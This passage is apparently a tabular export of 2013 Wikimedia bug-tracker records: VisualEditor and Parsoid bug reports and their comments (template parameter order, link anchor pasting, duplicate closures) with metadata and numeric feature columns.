are provided as a plain object.

And per the JSON specification (and as proven by inconsistent behaviour in different browsers), objects are ""an unordered set of name/value pairs""[1].

And even if JSON would support it, once in javascript, we have the for-in statement and Object.keys() which do not have a reliable cross-browser logic for the order of the keys.

Though Parsoid is able to roundtrip the order (since it has the original wikitext and can put them in the right order), we can't.

I'd recommend the output is updated to output an array of some kind.

So instead of :
 { foo: bar, bar: quux }

It'd be something like this:

 [ { foo: bar }, { bar: quux } ]

or (Trevor's idea):

 { keys: ['foo', 'bar'], values: ['bar', 'quux' ] }


[1] URL

--------------------------
**Version**: unspecified
**Severity**: normal"
228822,Parsoid: Expose order of template parameters call,"Only the name of parameters is significant, the order is a syntactic detail. You can do a numeric sort on numeric parameter names for UI purposes, but generally our API only talks about named parameters.",,,1368662919,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a6lxhzu2xrx5tgje6umc,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,10.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.8205128205128205,"Only the name of parameters is significant, the order is a syntactic detail. You can do a numeric sort on numeric parameter names for UI purposes, but generally our API only talks about named parameters."
50489,VisualEditor: Can not paste new link anchor,"If you try to change a link anchor by pasting plain text over the old anchor (or part of the old one), it won't work.  The new text will just stay plain.

You can't use the link dialog for this either, since there is no anchor field.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1368583740,1368726943.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-h57f3cph7qycjnbwjvnw,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,5.0,9.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,7.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.486842105263158,0.7105263157894737,"If you try to change a link anchor by pasting plain text over the old anchor (or part of the old one), it won't work.  The new text will just stay plain.

You can't use the link dialog for this either, since there is no anchor field.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
226420,VisualEditor: Can not paste new link anchor,"**jiabao.foss** wrote:

That's very nice of you! I would love to investigate this bug.",,,1368805529,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.217391304347826,0.8695652173913043,"**jiabao.foss** wrote:

That's very nice of you! I would love to investigate this bug."
226411,VisualEditor: Can not paste new link anchor,"(In reply to comment #4)
> Sorry that I did not know the link inspector could be rich text. Now looking
> forward to the new deployment of VE. It will be nice to read the solution, on
> the problem which I have worked on but did not get a good solution. Thank you
> for the reviews and explanations. I learned a lot from this attempt. :)

Thank you for trying! If you want to get your teeth into something in VisualEditor relatively self-contained, but still touching on a considerable amount of the codebase (and which would be really great to have done), bug 47328 could be a good challenge. Will leave a comment there suggesting an approach.",,,1368771998,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,True,,,-7,,0.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,13.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,1.0,3.0,8.0,0.0,0.0,1.0,1.0,8.0,0.0,3.0,0.0,4.0,13.0,5.0,0.0,0.0,0.0,4.0,0.0,1.0,5.0,0.0,4.0,0.0,0.0,0.0,3.909090909090909,0.7792207792207793,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

Thank you for trying! If you want to get your teeth into something in VisualEditor relatively self-contained, but still touching on a considerable amount of the codebase (and which would be really great to have done), bug 47328 could be a good challenge. Will leave a comment there suggesting an approach."
226402,VisualEditor: Can not paste new link anchor,"**jiabao.foss** wrote:

Sorry that I did not know the link inspector could be rich text. Now looking forward to the new deployment of VE. It will be nice to read the solution, on the problem which I have worked on but did not get a good solution. Thank you for the reviews and explanations. I learned a lot from this attempt. :)",,,1368767327,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,3.0,3.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,9.0,3.0,11.0,1.0,3.0,12.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.6216216216216215,0.7297297297297297,"**jiabao.foss** wrote:

Sorry that I did not know the link inspector could be rich text. Now looking forward to the new deployment of VE. It will be nice to read the solution, on the problem which I have worked on but did not get a good solution. Thank you for the reviews and explanations. I learned a lot from this attempt. :)"
226394,VisualEditor: Can not paste new link anchor,"Yeah, sorry about this; I was behind in triaging bugs and didn't get to this in time. It's in fact actually a duplicate of an already-fixed bug that went out in wmf4 (but isn't yet deployed on enwiki - that will happen on Monday 20 May).

*** This bug has been marked as a duplicate of bug 48195 ***",,,1368726943,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,3.0,3.0,1.0,1.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,1.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,1.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,1.0,3.0,0.0,3.0,16.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,3.2266666666666666,0.7466666666666667,"Yeah, sorry about this; I was behind in triaging bugs and didn't get to this in time. It's in fact actually a duplicate of an already-fixed bug that went out in wmf4 (but isn't yet deployed on enwiki - that will happen on Monday 20 May).

*** This bug has been marked as a duplicate of bug 48195 ***"
226383,VisualEditor: Can not paste new link anchor,"Unfortunately this bug didn't get triaged in time, and I worry that you may have spent a lot of time working on a solution for a no-longer-existing problem.

The bug here has to do with pasting into the middle of a link not taking on the proper annotations. This appears to be fixed in master, and production is somewhat behind that.

The solution being offered here ( I9ae4aeed6099cbe9affdc2aa83045121bc0b8669 ) adds a ""display text"" input to the inspector - but I think this patch overlooks some important UX and technical issues.

We deliberately do not want to have a text field in the inspector for the display text, for a couple of reasons.

1. The ""display text"" isn't just plain text, it could include formatting, templates, images, etc. This isn't going to work in a single line text input.

2. Users already have a way to change the display text (or non-text) content, and if there are bugs there, we should resolve them there.",,,1368725524,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,False,,,-7,,0.3333333333333333,0.0,0.0,0.6666666666666666,2.0,3.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,6.0,8.333333333333334,0.0,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,4.666666666666667,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,14.333333333333334,1.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,6.333333333333333,2.3333333333333335,4.333333333333333,0.6666666666666666,2.3333333333333335,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.6666666666666665,8.333333333333334,0.6666666666666666,0.0,1.3333333333333333,0.0,2.6666666666666665,0.0,0.0,3.3333333333333335,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,1.6666666666666667,3.8619402985074625,0.7472929470295581,"Unfortunately this bug didn't get triaged in time, and I worry that you may have spent a lot of time working on a solution for a no-longer-existing problem.

The bug here has to do with pasting into the middle of a link not taking on the proper annotations. This appears to be fixed in master, and production is somewhat behind that.

The solution being offered here ( I9ae4aeed6099cbe9affdc2aa83045121bc0b8669 ) adds a ""display text"" input to the inspector - but I think this patch overlooks some important UX and technical issues.

We deliberately do not want to have a text field in the inspector for the display text, for a couple of reasons.

1. The ""display text"" isn't just plain text, it could include formatting, templates, images, etc. This isn't going to work in a single line text input.

2. Users already have a way to change the display text (or non-text) content, and if there are bugs there, we should resolve them there."
226378,VisualEditor: Can not paste new link anchor,"**jiabao.foss** wrote:

I have investigated this bug. When looking at the use case for pasting text as you insert it into the hyperlink you need to also consider other formatting being pasted in. In other editors you can see that the link also splits leaving the text plain. This is because if you pasted for example a table or a section into the center of a link it cant accept this as part of the link itself and must be split. 

The solution I will work on is add a way to edit the displayed hyperlink text while the linkinspector dialog is open. this will allow users to paste box complex links and displayed text when using visualeditor.",,,1368684779,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-h57f3cph7qycjnbwjvnw,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,1.5,0.0,4.0,1.5,0.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,1.5,0.5,3.0,11.5,0.0,2.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.5,1.5,0.5,4.0,2.0,2.0,1.5,2.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.5,15.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,8.5,3.5,3.5,3.5,2.5,11.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,5.5,11.5,1.0,0.0,0.0,0.0,5.5,0.0,1.5,3.0,1.0,2.5,0.0,0.0,0.0,3.984848484848485,0.7575757575757576,"**jiabao.foss** wrote:

I have investigated this bug. When looking at the use case for pasting text as you insert it into the hyperlink you need to also consider other formatting being pasted in. In other editors you can see that the link also splits leaving the text plain. This is because if you pasted for example a table or a section into the center of a link it cant accept this as part of the link itself and must be split. 

The solution I will work on is add a way to edit the displayed hyperlink text while the linkinspector dialog is open. this will allow users to paste box complex links and displayed text when using visualeditor."
50471,VisualEditor adds ↵ when editing user .js and .css pages,"**Author:** `the.anonymouse.wikimedia`

**Description:**
screenshot of editing my .js file with VisualEditor

When editing user skin .js and .css page ([[Special:MyPage/skin.js]] and [[Special:MyPage/skin.js]]), line returns are replaced with ↵ symbols. I attached a screenshot to this bug report of editing my .js page with VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10832}",Needs Triage,90.0,1368565440,1368569378.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-apdnw6jklub4mtqzckmn,task_description,resolved,True,c1,1,False,False,True,-7,,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,10.5,0.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,5.0,6.0,0.0,0.0,0.0,2.5,0.0,0.5,1.0,0.0,2.0,0.0,0.0,2.0,3.5673076923076925,0.6346153846153846,"**Author:** CODE

**Description:**
screenshot of editing my .js file with VisualEditor

When editing user skin .js and .css page ([[Special:MyPage/skin.js]] and [[Special:MyPage/skin.js]]), line returns are replaced with ↵ symbols. I attached a screenshot to this bug report of editing my .js page with VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10832}"
225367,VisualEditor adds ↵ when editing user .js and .css pages,"Happily, we've just last week disabled editing of JS and CSS pages (the code will be deployed to enwiki on Monday 20 May).

*** This bug has been marked as a duplicate of bug 47456 ***",,,1368569378,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-apdnw6jklub4mtqzckmn,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,11.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.260869565217391,0.8478260869565217,"Happily, we've just last week disabled editing of JS and CSS pages (the code will be deployed to enwiki on Monday 20 May).

*** This bug has been marked as a duplicate of bug 47456 ***"
50433,VisualEditor link tool incorrectly shows a red link,"VisualEditor link dialog box incorrectly showing red text, 2013-05-13

Go to <https://www.mediawiki.org/wiki/Sysadmin_hub>. Click ""edit"". Highlight the word ""wiki"" and click the link icon in the toolbar. A dialog box pops up incorrectly showing ""wiki"" in red text (indicating that the article does not exist). Screenshot attached.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10762}",Needs Triage,90.0,1368500280,1368720868.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-zpvndgxny4i6jsgnxaga,task_description,resolved,True,c1,1,False,False,True,-7,,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,5.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,3.6451612903225805,0.6021505376344086,"VisualEditor link dialog box incorrectly showing red text, 2013-05-13

Go to <URL Click ""edit"". Highlight the word ""wiki"" and click the link icon in the toolbar. A dialog box pops up incorrectly showing ""wiki"" in red text (indicating that the article does not exist). Screenshot attached.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10762}"
223488,VisualEditor link tool incorrectly shows a red link,"Also reported by Timo; given work us underway, DUPEing up rather than down.

*** This bug has been marked as a duplicate of bug 48476 ***",,,1368720868,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zpvndgxny4i6jsgnxaga,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.323529411764706,0.8235294117647058,"Also reported by Timo; given work us underway, DUPEing up rather than down.

*** This bug has been marked as a duplicate of bug 48476 ***"
50431,"""visualeditor-diff-nochanges"" exposed on mediawiki.org","VisualEditor message key exposed on mediawiki.org, 2013-05-13

URL: <https://www.mediawiki.org/wiki/MobileFrontend/Photo_upload/Analysis>

Error: see attached screenshot

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10756}",Needs Triage,90.0,1368497760,1368545353.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-uuriwo6q3mdhjyt6egwi,task_description,resolved,True,c1,1,False,False,True,-7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.7058823529411766,0.5882352941176471,"VisualEditor message key exposed on mediawiki.org, 2013-05-13

URL: <URL

Error: see attached screenshot

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10756}"
223385,"""visualeditor-diff-nochanges"" exposed on mediawiki.org",Now fixed.,,,1368545353,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uuriwo6q3mdhjyt6egwi,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Now fixed.
223380,"""visualeditor-diff-nochanges"" exposed on mediawiki.org",Looks like <visualeditor-diff-nochanges> is not in MW.org's message file; need to do a message purge?,,,1368500743,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uuriwo6q3mdhjyt6egwi,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,3.625,0.9166666666666666,Looks like <visualeditor-diff-nochanges> is not in MW.org's message file; need to do a message purge?
50316,"VisualEditor: When the edit tab is replaced it breaks active/selected states and doesn't replace ""Create"" tabs properly.","When the VisualEditor replaces the normal ""Edit"" tab with ""Edit source"" it deletes any selected/active state on the tab. This results in an active edit tab becoming non-active when you are on &action=edit.

Additionally on a non existent page ""Create"" gets replaced with ""Edit source"" instead of something like ""Create source"".

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1368150660,1368150918.0,PHID-USER-gibrlx54k2riiuit5paf,False,,False,PHID-TASK-tstjv3noyoaah6bfdmns,task_description,resolved,True,c1,1,False,False,True,-8,,1.0,1.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,12.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,11.0,0.0,2.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,3.888888888888889,0.5777777777777777,"When the VisualEditor replaces the normal ""Edit"" tab with ""Edit source"" it deletes any selected/active state on the tab. This results in an active edit tab becoming non-active when you are on &action=edit.

Additionally on a non existent page ""Create"" gets replaced with ""Edit source"" instead of something like ""Create source"".

--------------------------
**Version**: unspecified
**Severity**: normal"
216336,"VisualEditor: When the edit tab is replaced it breaks active/selected states and doesn't replace ""Create"" tabs properly.","This is a dupe of three different bugs, but I'll settle for the obvious one. :-)

(A prior search when you're reporting a bug does help avoid this! :-))

*** This bug has been marked as a duplicate of bug 47452 ***",,,1368150918,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tstjv3noyoaah6bfdmns,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,4.0,7.0,2.0,2.0,15.0,0.0,4.0,2.0,0.0,6.0,0.0,6.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,3.240740740740741,0.7777777777777778,"This is a dupe of three different bugs, but I'll settle for the obvious one. :-)

(A prior search when you're reporting a bug does help avoid this! :-))

*** This bug has been marked as a duplicate of bug 47452 ***"
50179,Parsoid: HTML comment with immediately following table has newline split removed,"As per Subbu's report. (The corrupted table is going to be a different bug.)

--------------------------
**Version**: unspecified
**Severity**: trivial
**URL**: http://parsoid.wmflabs.org/_rt/en/BMW_801",Needs Triage,90.0,1367872680,1367944050.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.2888888888888888,0.6222222222222222,"As per Subbu's report. (The corrupted table is going to be a different bug.)

--------------------------
**Version**: unspecified
**Severity**: trivial
**URL**: URL"
208134,Parsoid: HTML comment with immediately following table has newline split removed,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934001,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
